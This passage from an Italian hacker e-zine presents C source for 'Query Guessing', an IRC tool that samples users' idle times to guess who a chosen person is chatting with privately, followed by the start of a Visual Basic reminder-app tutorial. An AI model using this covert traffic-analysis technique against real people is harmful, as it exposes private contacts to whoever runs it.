| | argv[1] l'indirizzo IP del server IRC; | | argv[2] il nickname dell'utente che si desidera monitorare. | | | | Una volta connesso ad IRC il programma esegue un WHOIS sul nickname | | specificato come argv[2] e parsa la reply per ricavarsi i canali nei | | quali risiede l'utente. Una volta in possesso dei canali fa JOIN sugli | | stessi. | | | | /* | | * Build a list of the channel that the nickname supplied | | * from the command line has joined | | */ | | if(list == NULL){ | | while(!channel_sampler(buff, &list, argv[2])){ | | strncpy(buff, "WHOIS ", sizeof(buff)); | | strncat(buff, argv[2], sizeof(buff) - strlen(buff) - 1); | | strncat(buff, "n", sizeof(buff) - strlen(buff) - 1); | | writen(sock, buff, strlen(buff)); | | if( (r = read(sock, buff, sizeof(buff) - 1)) < 0){ | | printf("read errorn"); | | exit(0); | | } | | } | | . | | . | | . | | . | | } | | | | | | Una volta generata la lista dei nickname presenti in ogni canale viene | | settato un timer della durata di 30 secondi che, da adesso in poi, | | regolerà la frequenza con la quale il programma effettuerà i | | campionamenti relativi al valore dell'idle accumulato da ogni utente. | | | | /* | | * Buid or update the list of the nick in the channel from | | * the RPL_NAMREPLY message received from the server | | */ | | if(nick_list(buff, list)){ | | if(first){ | | | | /* | | * Set the first alarm() that elicit a SIGALRM signal | | * handled by sig_handler() | | */ | | if(alarm(30) != 0) | | printf("alarm was already setn"); | | first = 0; | | } | | . | | . | | . | | . | | . | | . | | } | | | | | | Il valore dell'idle per ogni utente viene memorizzato nella variabile | | idle di tipo long all'interno della struct. Per ogni utente del canale | | viene inoltre calcolata la somma del proprio idle più l'idle relativo al | | nick monitorato. Nel qual caso tale valore dovesse risultare inferiore | | a IDLE_THRESHOLD * 2 il valore di trust dell'utente verrà incrementato | | in maniera inversamente proporzionale al valore ottenuto da tale somma. | | In caso contrario il valore di trust dell'utente verrà azzerato. | | | | while(index_nick != NULL){ | | add_idle = nickname_idle + index_nick->idle; | | | | /* | | * If the sum of the idle of the nickname specified from the | | * command line and the one retrived from the nick list is bigger | | * than IDLE_THRESHOLD * 2, then the trust value of the retrived | | * nick will be set to 0 | | */ | | if(add_idle > IDLE_THRESHOLD * 2){ | | index_nick->trust = 0; | | index_nick = index_nick->next; | | continue; | | } | | | | /* | | * The trust for the nick in the channel will be increased | | * proportionally to the value of the sum calcolated as described | | * above | | */ | | else if(add_idle <= IDLE_THRESHOLD * 2 / 3) | | index_nick->trust += 3; | | else if(add_idle <= IDLE_THRESHOLD * 4 / 3) | | index_nick->trust += 2; | | else | | index_nick->trust++; | | index_nick = index_nick->next; | | } | | | | | | Il trust di un utente viene azzerato anche in presenza di un dialogo | | dello stesso in uno dei canali monitorati. | | | | | | while(index != NULL){ | | index_nick = index->lnick; | | while(index_nick != NULL && | | strcmp(token, index_nick->nickname) != 0) | | index_nick = index_nick->next; | | | | /* | | * To reset the nickname we assign a trust value of -3 | | * because in the next idle probe its value will be | | * incremented and will reach the 0 | | */ | | if(index_nick != NULL) | | index_nick->trust = -3; | | index = index->next; | | } | | | | | | La funzione idle_check() controlla periodicamente i valori relativi al | | trust di ogni utente e nel caso raggiungano la soglia prestabilita | | avvisa riguardo la presenza di una possibile query tra l'utente e il | | soggetto monitorato. | | | | while(index_nick != NULL){ | | | | /* | | * If the trust value of a nickname in the channel has reached | | * the value specified by the TRUST constant, prompt the user | | * for possible query between this user and the one specified | | * as argument of the command line | | */ | | if(index_nick->trust >= TRUST && | | strcmp(nickname, index_nick->nickname) != 0) | | printf("possibile query con %sn", index_nick->nickname); | | index_nick = index_nick->next; | | } | | | | | | Come già detto in precedenza questo è solo un abbozzo del programma, | | l'output fornito è molto grezzo, l'algoritmo alla base delle statistiche | | è molto rudimentale ed è passibile di miglioramenti. | | Inoltre, allo stato attuale delle cose rimangono dei problemi aperti, in | | particolare il programma non è in grado di rilevare la presenza | | dell'utente in canali +s, non è prevista la possibilità che la query | | interessi due utenti che non abbiano almeno un canale in comune, infine | | vengono osservati esclusivamente i canali dell'utente monitorato e non | | quelli dei possibili interlocutori. | | | | L'indentazione del sorgente è molto contenuta al fine di rispettare | | l'impaginazione imposta dalla zine, ad ogni modo tra gli allegati è | | possibile trovare lo stesso sorgente indentato in maniera più leggibile, | | i commenti nel codice non mancano, non mi resta che augurarvi una buona | | lettura :) | | | | | | | | | | /* | | * Query Guessing | | * by eazy, eazy@ondaquadra.org | | * | | * This program analize the idle of an IRC user and try to guess | | * for possible query with other user. The query prediction isn't | | * alway true, anyway try it and have fun :) | | */ | | | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | | | #define PORT 6667 | | #define USER "USER prolipol 192.168.1.4 irc.azzurra.org :telnetn" | | #define NICK "NICK prolipoln" | | #define TIMEOUT 5 | | #define IDLE_THRESHOLD 120 | | #define TRUST 12 | | #define N 10 | | | | typedef struct nick{ | | char *nickname; | | long idle; | | int trust; | | struct nick *next; | | } nick; | | | | typedef struct chan{ | | char *channel; | | nick *lnick; | | struct chan *next; | | } chan; | | | | int sock_global, count = 0; | | chan *list_global, *update_global = NULL; | | char *nick_global; | | | | ssize_t writen(int fd, const void *buf, size_t count){ | | | | if(write(fd, buf, count) < 0){ | | printf("write errorn"); | | exit(0); | | } | | } | | | | /* | | * Send a PONG message as reply to server PING | | * | | * From Request for Comments: 2812 | | * | | * The PING command is used to test the presence of an active client or | | * server at the other end of the connection. Servers send a PING | | * message at regular intervals if no other activity detected coming | | * from a connection. If a connection fails to respond to a PING | | * message within a set amount of time, that connection is closed. A | | * PING message MAY be sent even if the connection is active. | | * | | * When a PING message is received, the appropriate PONG message MUST be | | * sent as reply to (server which sent the PING message out) | | * as soon as possible. If the parameter is specified, it | | * represents the target of the ping, and the message gets forwarded | | * there. | | */ | | | | int ping_pong(int sock, char *buff){ | | | | char temp[5]; | | char reply[100]; | | | | strncpy(temp, buff, sizeof(char) * 4); | | temp[4] = 0; | | if(strcmp(temp, "PING") == 0){ | | strncpy(reply, "PONG", sizeof(reply)); | | strncat(reply, buff + 4, sizeof(reply) - strlen(reply) - 1); | | writen(sock, reply, strlen(reply)); | | return(1); | | } | | return(0); | | | | } | | | | /* | | * Buid a list of the nick in the channel from the | | * RPL_NAMREPLY message received from the server | | * | | * From Request for Comments: 2812 | | * | | * 353 RPL_NAMREPLY | | * "( "=" / "*" / "@" ) | | * :[ "@" / "+" ] *( " " [ "@" / "+" ] ) | | * | | * - "@" is used for secret channels, "*" for private | | * channels, and "=" for others (public channels). | | * | | * - To reply to a NAMES message, a reply pair consisting | | * of RPL_NAMREPLY and RPL_ENDOFNAMES is sent by the | | * server back to the client. If there is no channel | | * found as in the query, then only RPL_ENDOFNAMES is | | * returned. The exception to this is when a NAMES | | * message is sent with no parameters and all visible | | * channels and contents are sent back in a series of | | * RPL_NAMEREPLY messages with a RPL_ENDOFNAMES to mark | | * the end. | | */ | | | | int nick_list(char *buff, chan *list){ | | | | int flag, first, exit = 0; | | char *s, *temp, *token, *channel, *next; | | char **p = &next; | | chan *index; | | nick *index_nick, *index_nick_old; | | | | flag = 0; | | s = (char *)calloc(strlen(buff) + 1, sizeof(char)); | | temp = (char *)calloc(strlen(buff) + 1, sizeof(char)); | | strcpy(temp, buff); | | | | /* | | * Parse the input string to verify if it is a RPL_NAMREPLY | | */ | | if( (token = (char *)strtok_r(temp, " ", p)) != NULL){ | | if(strcmp(token, "353") == 0){ | | strcpy(s, *p); | | flag = 1; | | } | | while(flag == 0 && (token = (char *)strtok_r(NULL, " ", p)) != NULL) | | { | | if(strcmp(token, "353") == 0){ | | strcpy(s, *p); | | flag = 1; | | } | | } | | } | | | | /* | | * If the parsed string is a RPL_NAMREPLY, remove useless token | | * from it | | */ | | if(flag == 1 && (char *)strtok(s, " ") != NULL){ | | if((char *)strtok(NULL, " ") == NULL){ | | free(s); | | free(temp); | | return(0); | | } | | | | /* | | * Save the channel name from the parsed string and search for it | | * in the channel list already build by channel_sampler() | | */ | | if( (channel = (char *)strtok(NULL, " ")) == NULL){ | | free(s); | | free(temp); | | return(0); | | } | | index = list; | | while(index != NULL && strcmp(channel, index->channel) != 0) | | index = index->next; | | if(index == NULL){ | | free(s); | | free(temp); | | return(0); | | } | | first = 1; | | index_nick_old = index->lnick; | | | | /* | | * Build a list of nick in the channel. The while loop end when | | * strtok() return NULL or at the first token that begin or end | | * with a line feed or carriage return | | */ | | while(( (token = (char *)strtok(NULL, " ")) != NULL) && | | (token[0] != 'n' && token[0] != 'r') && (exit == 0)){ | | if(first){ | | index->lnick = (nick *)malloc(sizeof(nick)); | | | | /* | | * Remove op and voice symbols from the nickname | | */ | | if(token[0] == ':') | | token++; | | if(token[0] == '@' || token[0] == '+') | | token++; | | | | /* | | * If the token end with a line feed or carriage return remove | | * the last character and break the while loop | | */ | | if(token[strlen(token)-1] == 'n' || | | token[strlen(token)-1] == 'r'){ | | token[strlen(token)-1] = 0; | | exit = 1; | | } | | index->lnick->nickname = (char *)calloc(strlen(token) + 1, | | sizeof(char)); | | strcpy(index->lnick->nickname, token); // use strncpy() instead | | index->lnick->idle = 0; | | index->lnick->trust = 0; | | index->lnick->next = NULL; | | index_nick = index->lnick; | | first = 0; | | } | | else{ | | index_nick->next = (nick *)malloc(sizeof(nick)); | | if(token[0] == ':') | | token++; | | if(token[0] == '@' || token[0] == '+') | | token++; | | if(token[strlen(token)-1] == 'n' || | | token[strlen(token)-1] == 'r'){ | | token[strlen(token)-1] = 0; | | exit = 1; | | } | | index_nick->next->nickname = (char *)calloc(strlen(token) + 1, | | sizeof(char)); | | strcpy(index_nick->next->nickname, token); // use strncpy() | | index_nick->next->idle = 0; | | index_nick->next->trust = 0; | | index_nick->next->next = NULL; | | index_nick = index_nick->next; | | } | | } | | if(index->lnick != NULL){ | | | | /* | | * Copy in the new nick list the values of idle and trust from | | * the old one | | */ | | if(index_nick_old != NULL){ | | while(index_nick_old != NULL){ | | index_nick = index->lnick; | | while(index_nick != NULL){ | | if(strcmp(index_nick_old->nickname, | | index_nick->nickname) == 0){ | | index_nick->idle = index_nick_old->idle; | | index_nick->trust = index_nick_old->trust; | | } | | index_nick = index_nick->next; | | } | | index_nick_old = index_nick_old->next; | | } | | } | | free(s); | | free(temp); | | return(1); | | } | | } | | free(s); | | free(temp); | | return(0); | | } | | | | /* | | * Parse and sample the idle contained in the RPL_WHOISIDLE | | * message received in responce of the WHOIS issued by | | * idle_prober() function | | * | | * From Request for Comments: 2812 | | * | | * 317 RPL_WHOISIDLE | | * " :seconds idle" | | * | | * - Replies 311 - 313, 317 - 319 are all replies | | * generated in response to a WHOIS message. | | */ | | | | int idle_sampler(char *buff, nick *list){ | | | | int flag; | | char *s, *temp, *token, *nickname, *idle, *next; | | char **p = &next; | | nick *index; | | | | flag = 0; | | s = (char *)calloc(strlen(buff) + 1, sizeof(char)); | | temp = (char *)calloc(strlen(buff) + 1, sizeof(char)); | | strcpy(temp, buff); | | | | /* | | * Parse the input string to verify if it is a valid | | * RPL_WHOISIDLE message | | */ | | if( (token = (char *)strtok_r(temp, " ", p)) != NULL){ | | if(strcmp(token, "317") == 0){ | | strcpy(s, *p); | | flag = 1; | | } | | while(flag == 0 && (token = (char *)strtok_r(NULL, " ", p)) != NULL) | | { | | if(strcmp(token, "317") == 0){ | | strcpy(s, *p); | | flag = 1; | | } | | } | | } | | | | /* | | * If the parsed string is a RPL_WHOISIDLE message, remove | | * useless token from it | | */ | | if(flag == 1 && (char *)strtok(s, " ") != NULL){ | | | | /* | | * Save the nickname from the parsed string and search for it | | * in the nick list already build by nick_list() | | */ | | if( (nickname = (char *)strtok(NULL, " ")) == NULL){ | | free(s); | | free(temp); | | return(0); | | } | | index = list; | | while((index != NULL) && (strcmp(nickname, index->nickname) != 0)) | | index = index->next; | | if(index == NULL){ | | free(s); | | free(temp); | | return(0); | | } | | else{ | | | | /* | | * If the nickname contained in the RPL_WHOISIDLE is found in | | * the nick list, the value of the idle is stored in the nick | | * struct | | */ | | if( (idle = (char *)strtok(NULL, " ")) == NULL){ | | free(s); | | free(temp); | | return(0); | | } | | index->idle = atol(idle); | | } | | free(s); | | free(temp); | | return(1); | | } | | free(s); | | free(temp); | | return(0); | | } | | | | /* | | * Build a list of the channel that a specific nickname has joined. | | * The list is derived from the RPL_WHOISCHANNELS message received | | * from the server in response to a WHOIS message for that nickname | | * | | * From Request for Comments: 2812 | | * | | * 319 RPL_WHOISCHANNELS | | * " :*( ( "@" / "+" ) " " )" | | * | | * - Replies 311 - 313, 317 - 319 are all replies | | * generated in response to a WHOIS message. Given that | | * there are enough parameters present, the answering | | * server MUST either formulate a reply out of the above | | * numerics (if the query nick is found) or return an | | * error reply. The '*' in RPL_WHOISUSER is there as | | * the literal character and not as a wild card. For | | * each reply set, only RPL_WHOISCHANNELS may appear | | * more than once (for long lists of channel names). | | * The '@' and '+' characters next to the channel name | | * indicate whether a client is a channel operator or | | * has been granted permission to speak on a moderated | | * channel. The RPL_ENDOFWHOIS reply is used to mark | | * the end of processing a WHOIS message. | | */ | | | | int channel_sampler(char *buff, chan **list, char *nick){ | | | | int flag, first = 1, exit = 0; | | char *s, *temp, *token, *nickname, *next; | | char **p = &next; | | chan *index; | | | | flag = 0; | | s = (char *)calloc(strlen(buff) + 1, sizeof(char)); | | temp = (char *)calloc(strlen(buff) + 1, sizeof(char)); | | strcpy(temp, buff); | | | | /* | | * Parse the input string and verify if it is a valid | | * RPL_WHOISCHANNELS message | | */ | | if( (token = (char *)strtok_r(temp, " ", p)) != NULL){ | | if(strcmp(token, "319") == 0){ | | strcpy(s, *p); | | flag = 1; | | } | | while(flag == 0 && (token = (char *)strtok_r(NULL, " ", p)) != NULL) | | { | | if(strcmp(token, "319") == 0){ | | strcpy(s, *p); | | flag = 1; | | } | | } | | } | | | | /* | | * If the parsed string is a RPL_WHOISCHANNELS message, remove the | | * useless token and save the nickname which the reply refer to. | | * After that, compare the nickname saved from the string with the | | * one supplied as argv of the main() | | */ | | if(flag == 1 && (char *)strtok(s, " ") != NULL){ | | if( (nickname = (char *)strtok(NULL, " ")) == NULL){ | | free(s); | | free(temp); | | return(0); | | } | | if(strcmp(nickname, nick) == 0){ | | | | /* | | * Build a list of the channel that the supplied nickname has | | * joined. If the strcmp() in the previous statment return 0, | | * the while loop parse the RPL_WHOISCHANNELS message until | | * strtok() return NULL or return a token that begin or end | | * with a line feed or carriage return | | */ | | while(( (token = (char *)strtok(NULL, " ")) != NULL) && | | (token[0] != 'n' && token[0] != 'r') && (exit == 0)){ | | if(first){ | | *list = (chan *)malloc(sizeof(chan)); | | | | /* | | * Remove op and voice symbols from the nickname | | */ | | if(token[0] == ':') | | token++; | | if(token[0] == '@' || token[0] == '+') | | token++; | | | | /* | | * If the token end with a line feed or carriage return remove | | * the last character and break the while loop | | */ | | if(token[strlen(token)-1] == 'n' || | | token[strlen(token)-1] == 'r'){ | | token[strlen(token)-1] = 0; | | exit = 1; | | } | | (*list)->channel = (char *)calloc(strlen(token) + 1, | | sizeof(char)); | | strcpy((*list)->channel, token); // use strncpy() instead | | (*list)->lnick = NULL; | | (*list)->next = NULL; | | index = *list; | | first = 0; | | } | | else{ | | index->next = (chan *)malloc(sizeof(nick)); | | if(token[0] == ':') | | token++; | | if(token[0] == '@' || token[0] == '+') | | token++; | | if(token[strlen(token)-1] == 'n' || | | token[strlen(token)-1] == 'r'){ | | token[strlen(token)-1] = 0; | | exit = 1; | | } | | index->next->channel = (char *)calloc(strlen(token) + 1, | | sizeof(char)); | | strcpy(index->next->channel, token); // use strncpy() instead | | index->next->lnick = NULL; | | index->next->next = NULL; | | index = index->next; | | } | | } | | if(*list != NULL){ | | free(s); | | free(temp); | | return(1); | | } | | } | | } | | free(s); | | free(temp); | | return(0); | | } | | | | /* | | * For every nick in all channel issue a WHOIS that elicit a | | * RPL_WHOISIDLE message in response, the value of the idle | | * contained in this message will be parsed and stored in the | | * nick struct by the idle_sampler() function | | */ | | | | void idle_prober(int sock, chan *list){ | | | | int r; | | chan *index = list; | | nick *index_nick; | | char buff[1000], probe[256]; | | fd_set readset; | | struct timeval time; | | | | while(index != NULL){ | | index_nick = index->lnick; | | while(index_nick != NULL){ | | FD_ZERO(&readset); | | FD_SET(sock, &readset); | | time.tv_sec = TIMEOUT; | | time.tv_usec = 0; | | | | strncpy(probe, "WHOIS ", sizeof(probe)); | | strncat(probe, index_nick->nickname, | | sizeof(probe) - strlen(probe) - 1); | | strncat(probe, " ", sizeof(probe) - strlen(probe) - 1); | | strncat(probe, index_nick->nickname, | | sizeof(probe) - strlen(probe) - 1); | | strncat(probe, "n", sizeof(probe) - strlen(probe) - 1); | | writen(sock, probe, strlen(probe)); | | | | /* | | * Set a timeout on the I/O operation performed by read() | | * It's possible to redefine TIMEOUT to modify the amount of | | * time that select() must wait a response before return | | */ | | if(select(sock + 1, &readset, NULL, NULL, &time) > 0){ | | if( (r = read(sock, buff, sizeof(buff) - 1)) < 0){ | | printf("read errorn"); | | exit(0); | | } | | buff[r] = 0; | | } | | else{ | | buff[0] = 0; | | printf("read timeoutn"); | | } | | | | /* | | * Parse and sample the idle contained in the RPL_WHOISIDLE | | * message received in responce of the WHOIS issued above | | */ | | if(idle_sampler(buff, index->lnick)); | | else (ping_pong(sock, buff)); | | reset_trust(buff, list, nick_global); | | index_nick = index_nick->next; | | } | | index = index->next; | | } | | } | | | | /* | | * Calculate and update channel statistics based on the values | | * sampled by idle_sampler() | | */ | | | | void idle_stat(chan *list, char *nickname){ | | | | chan *index = list; | | nick *index_nick; | | long nickname_idle, add_idle; | | | | while(index != NULL){ | | index_nick = index->lnick; | | | | /* | | * Search in the nick list for the nickname supplied as argv | | * of the main() | | */ | | while(index_nick != NULL && strcmp(nickname, | | index_nick->nickname) != 0) | | index_nick = index_nick->next; | | | | /* | | * If the nickname supplied as argument in the command line is | | * not found in the channel, set the idle for that nick to a | | * dummy value. This cause the trust value of all the nick in | | * the channel to be set to 0 | | */ | | if(index_nick == NULL) | | nickname_idle = (IDLE_THRESHOLD * 2) + 1; | | else{ | | | | /* | | * Save the the idle of the nickname supplied as argument in | | * the command line if its value is less than or equal to | | * IDLE_THRESHOLD | | */ | | if(index_nick->idle <= IDLE_THRESHOLD) | | nickname_idle = index_nick->idle; | | | | /* | | * Else, set the idle for that nick to a dummy value. This cause | | * the trust value of all the nick in the channel to be set to 0 | | */ | | else | | nickname_idle = (IDLE_THRESHOLD * 2) + 1; | | } | | index_nick = index->lnick; | | while(index_nick != NULL){ | | add_idle = nickname_idle + index_nick->idle; | | | | /* | | * If the sum of the idle of the nickname specified from the | | * command line and the one retrived from the nick list is bigger | | * than IDLE_THRESHOLD * 2, then the trust value of the retrived | | * nick will be set to 0 | | */ | | if(add_idle > IDLE_THRESHOLD * 2){ | | index_nick->trust = 0; | | index_nick = index_nick->next; | | continue; | | } | | | | /* | | * The trust for the nick in the channel will be increased | | * proportionally to the value of the sum calcolated as described | | * above | | */ | | else if(add_idle <= IDLE_THRESHOLD * 2 / 3) | | index_nick->trust += 3; | | else if(add_idle <= IDLE_THRESHOLD * 4 / 3) | | index_nick->trust += 2; | | else | | index_nick->trust++; | | index_nick = index_nick->next; | | } | | index = index->next; | | } | | index = list; | | while(index != NULL){ | | index_nick = index->lnick; | | while(index_nick != NULL){ | | printf("%s: %d %dn", index_nick->nickname, index_nick->idle, | | index_nick->trust); | | index_nick = index_nick->next; | | } | | index = index->next; | | } | | } | | | | /* | | * Check channel statistics and prompt for possible query | | */ | | | | void idle_check(chan *list, char *nickname){ | | | | chan *index = list; | | nick *index_nick; | | | | while(index != NULL){ | | index_nick = index->lnick; | | while(index_nick != NULL){ | | | | /* | | * If the trust value of a nickname in the channel has reached | | * the value specified by the TRUST constant, prompt the user | | * for possible query between this user and the one specified | | * as argument of the command line | | */ | | if(index_nick->trust >= TRUST && | | strcmp(nickname, index_nick->nickname) != 0) | | printf("possibile query con %sn", index_nick->nickname); | | index_nick = index_nick->next; | | } | | index = index->next; | | } | | printf("n"); | | | | } | | | | /* | | * Reset trust value of nickname that speak in chennel | | */ | | | | int reset_trust(char *buff, chan *list, char *nickname){ | | | | int i = 0; | | char *temp, *token; | | chan *index; | | nick *index_nick; | | | | temp = (char *)calloc(strlen(buff) + 1, sizeof(char)); | | strcpy(temp, buff); | | | | /* | | * Parse and save the nickname that speak in channel | | */ | | if( (token = (char *)strtok(temp, " ")) != NULL && token[0] == ':'){ | | token++; | | while(token[i] != '!' && token[i] != 0) | | i++; | | if(token[i] == '!'){ | | token[i] = 0; | | index = list; | | | | /* | | * The trust value of the saved nickname will be reset | | */ | | if(strcmp(nickname, token) != 0){ | | while(index != NULL){ | | index_nick = index->lnick; | | while(index_nick != NULL && | | strcmp(token, index_nick->nickname) != 0) | | index_nick = index_nick->next; | | | | /* | | * To reset the nickname we assign a trust value of -3 | | * because in the next idle probe its value will be | | * incremented and will reach the 0 | | */ | | if(index_nick != NULL) | | index_nick->trust = -3; | | index = index->next; | | } | | } | | | | /* | | * If the saved nickname is the same of the nick supplied from | | * the command line, the trust value of all nick in the channel | | * will be reset | | */ | | else{ | | while(index != NULL){ | | index_nick = index->lnick; | | while(index_nick != NULL){ | | index_nick->trust = -3; | | index_nick = index_nick->next; | | } | | index = index->next; | | } | | } | | } | | } | | free(temp); | | } | | | | /* | | * The signal handler function is called every time the timer | | * set by alert(), default 30 seconds, reach 0 | | * The sig_handler() function call other function that probe | | * and sample idle value, update nick list, calculate statistics | | * and check for possible query | | */ | | | | static void sig_handler(int signo){ | | | | if(count == N){ | | update_global = list_global; | | count = 0; | | } | | idle_prober(sock_global, list_global); | | idle_stat(list_global, nick_global); | | idle_check(list_global, nick_global); | | count++; | | if(alarm(30) != 0) | | printf("alarm was already setn"); | | | | } | | | | int main(int argc, char **argv){ | | | | struct sockaddr_in servaddr; | | int sock, r, first = 1; | | char buff[1000]; | | chan *list = NULL, *join = NULL, *index; | | nick *index_nick; | | struct sigaction act, oldact; | | | | act.sa_handler = sig_handler; | | sigemptyset(&act.sa_mask); | | act.sa_flags = 0; | | act.sa_flags |= SA_RESTART; | | if(sigaction(SIGALRM, &act, &oldact) < 0) | | printf("sigaction errorn"); | | | | if(argc != 3){ | | printf("Usage: %s n", argv[0]); | | exit(0); | | } | | | | if( (sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){ | | printf("socket errorn"); | | exit(0); | | } | | | | bzero(&servaddr, sizeof(servaddr)); | | servaddr.sin_family = AF_INET; | | if(inet_pton(AF_INET, argv[1], &servaddr.sin_addr) <= 0){ | | printf("inet_pton errorn"); | | exit(0); | | } | | servaddr.sin_port = htons(PORT); | | | | if(connect(sock, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0) | | { | | printf("connect errorn"); | | exit(0); | | } | | | | strncpy(buff, USER, sizeof(buff)); | | writen(sock, buff, strlen(buff)); | | | | strncpy(buff, NICK, sizeof(buff)); | | writen(sock, buff, strlen(buff)); | | | | buff[0] = 0; | | sleep(10); | | | | while(1){ | | | | /* | | * Build a list of the channel that the nickname supplied | | * from the command line has joined | | */ | | if(list == NULL){ | | while(!channel_sampler(buff, &list, argv[2])){ | | strncpy(buff, "WHOIS ", sizeof(buff)); | | strncat(buff, argv[2], sizeof(buff) - strlen(buff) - 1); | | strncat(buff, "n", sizeof(buff) - strlen(buff) - 1); | | writen(sock, buff, strlen(buff)); | | if( (r = read(sock, buff, sizeof(buff) - 1)) < 0){ | | printf("read errorn"); | | exit(0); | | } | | } | | list_global = list; // passa la lista al signal handler | | sock_global = sock; | | nick_global = argv[2]; | | join = list; | | } | | | | /* | | * Join all the channel in the list already build by | | * channel_sampler() function | | */ | | if(join != NULL){ | | sleep(3); | | strncpy(buff, "JOIN ", sizeof(buff)); | | strncat(buff, join->channel, sizeof(buff) - strlen(buff) - 1); | | strncat(buff, "n", sizeof(buff) - strlen(buff) - 1); | | writen(sock, buff, strlen(buff)); | | join = join->next; | | } | | | | /* | | * Query the IRC server for the list of nick in all channels | | * The response will be handled by nick_list() that update | | * the nick list | | */ | | if(update_global != NULL){ | | sleep(3); | | strncpy(buff, "NAMES ", sizeof(buff) - 1); | | strncat(buff, update_global->channel, | | sizeof(buff) - strlen(buff) - 1); | | strncat(buff, "n", sizeof(buff) - strlen(buff) - 1); | | writen(sock, buff, strlen(buff)); | | update_global = update_global->next; | | } | | if( (r = read(sock, buff, sizeof(buff) - 1)) < 0){ | | printf("read errorn"); | | exit(0); | | } | | buff[r] = 0; | | | | /* | | * Buid or update the list of the nick in the channel from | | * the RPL_NAMREPLY message received from the server | | */ | | if(nick_list(buff, list)){ | | if(first){ | | | | /* | | * Set the first alarm() that elicit a SIGALRM signal | | * handled by sig_handler() | | */ | | if(alarm(30) != 0) | | printf("alarm was already setn"); | | first = 0; | | } | | index = list; | | while(index != NULL){ | | index_nick = index->lnick; | | while(index_nick != NULL){ | | printf("%sn", index_nick->nickname); | | index_nick = index_nick->next; | | } | | index = index->next; | | } | | } | | else ping_pong(sock, buff); | | reset_trust(buff, list, argv[2]); | | } | | | | } | | | | | | | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 | | PR0MEM0RiA iN VB [Pupi] 0x0E/0x20 | +--------------------------------------------------------------------------+ | | | | | Pro Memoria in VB | | | | Eccomi di nuovo qua e ancora a spiegarvi come funziona un piccolo | | programmino in VB... | | | | Premessa: lo so, lo so che la maggior parte di voi considera VB uno dei | | peggiori linguaggi di programmazione esistenti (e in effetti non posso | | darvi torto), lo so che non è molto potente come linguaggio, ma se non | | altro è abbastanza semplice e permette di fare con estrema facilità | | cose per cui altrimenti dovremmo scrivere Km di codice in altri | | linguaggi!! E allora perchè sputarci sopra...nessuno si sogna di | | progettare in VB chissà cosa di grande importanza o utilità (anche | | perchè sarebbe difficile, per non dire impossibile, e cmq sarebbe un | | gesto folle scegliere VB), ma semplici programmini utili possiamo | | sempre farceli...e quello che sto per spiegarvi può davvero risultare | | un piccolo utile semplicissimo programmino facile facile che tutti vi | | potete creare!! | | | | Or dunque, chiarito il perchè mi ostino a scrivere ancora in Visual | | Basic nonostante di linguaggi ne sappia parecchi, andiamo | | oltre...dicevamo...dopo Matrix (bello quanto volete, ma inutile come | | programma), ecco un altro pò di codice che invece può rivelarsi molto | | molto utile in certi casi. | | | | Obiettivo:creare un piccolo pro-memoria che, invisibile ai nostri | | occhi, controlli saltuariamente l'orologio di sistema per richiamarci a | | tempo debito ed avvertirci di altri impegni. | | | | Detto fatto, niente di più facile... | | Allora...tanto per iniziare dovrete crearvi un Form più o meno simile a | | quello che mi sono creato io (ma potete anche cambiarlo del tutto, | | nessuno vi obbliga a copiarlo completamente!!), ovvero, partendo | | dall'alto verso il basso, fate: | | 1-Mettete un'etichetta e cambiatele Caption in "Ora:" (senza | | virgolette!!). | | 2-Accanto all'etichetta Ora mettete un testo a linea singola, | | chiamatelo txtOra e cancellate il contenuto della proprietà Text. | | 3-Lasciate un pò di spazio vuoto (poco) e sotto a questi mettete | | un'altra etichetta con Caption "ProMemoria:" (anche questo senza | | virgolette, ma sfido a trovare qualcuno tanto grullo che ce le mette, | | quindi non lo dirò più!!). | | 4-Sotto questa etichetta mettete un altro testo, chiamatelo | | txtProMemoria, cancellate la proprietà Text e mettete Multiline su True. | | 5-In fondo, uno accanto all'altro, mettete due pulsanti le cui Caption | | saranno rispettivamente "Attiva" e "Esci" e i cui nomi saranno | | cmdAttiva e cmdEsci. | | 6-Dove volete piazzate un Timer che chiamerete in uno sforzo di | | fantasia Timer (che volete, mi sono appena svegliato, mica posso | | inventarmi chissà che nomi fino a quando il cervello mi resta in | | Standby!!) e per cui imposterete Enabled su False e Interval su 20000 | | (20 secondi circa). | | 7-Per ultimo vanno cambiate alcune proprietà del Form, ovvero il nome | | (se volete, altrimenti non importa!! Io ad esempio l'ho chiamato "PM" e | | ho cambiato anche il nome del progetto in "ProMemoria" così che fra le | | applicazioni in corso non mi appare "Progetto1" quando lo eseguo, ma | | bensì ProMemoria!!), la Caption in "Pro-Memoria" (o come volete, tanto | | è semplicemente il nome che appare nella barra della finestra), | | BorderStyle = 1-Fixed Single, StartUpPosition = 2-CenterScreen e | | ControlBox su False. Quest'ultimo perchè almeno quando lo lanciamo e lo | | impostiamo, poi premiamo Attiva e di lui non rimane niente neppure | | sulla barra d'avvio!! | | | | Ok...adesso il Form e tutto ciò che ci serve sono pronti...manca solo | | il codice sorgente... | | Benissimo...eccolo qua, spiegato un pezzo alla volta!! | | | | | | ------------------------------------------------------------------------ | | Private Sub Form_Load() | | txtOra = Format(Time, "hh:mm:ss") | | txtProMemoria = "Ricordati che..." | | End Sub | | ------------------------------------------------------------------------ | | Questa parte di codice fa semplicemente in modo che all'avvio del | | programma nel testo txtProMemoria appaia la scritta "Ricordati che..." | | (O qualsiasi scritta vogliate; potete anche cambiarla o toglierla o | | inserirla direttamente nella proprietà Text di txtProMemoria) mentre | | nella casella txtOra verrà impostata un'ora qualsiasi e in questo caso | | ci impostiamo l'ora di sistema, nel formato che apparirà | | come "hh.mm.ss", nonostante nell'istruzione indichiamo i due punti!! | | Misteri della fede... | | Ah...piccolo appunto: visto che txtOra è il primo controllo che può | | ricevere il SetFocus (ovvero la selezione) non importa impostarla | | perchè la riceve automaticamente all'avvio...se invece vogliamo che | | altri controlli ricevano la selezione automatica all'avvio, scrivere | | nel codice oggetto.SetFocus, dove oggetto è il nome del controllo che | | deve ricevere la selezione. | | | | | | ------------------------------------------------------------------------ | | Private Sub txtOra_GotFocus() | | txtOra.SelStart = 0 | | txtOra.SelLength = Len(txtOra) | | End Sub | | ------------------------------------------------------------------------ | | Ecco qua due istruzioni che fanno si che quando txtOra riceve la | | selezione (ovvero al lancio del programma) tutto il testo venga | | evidenziato e cancellato non 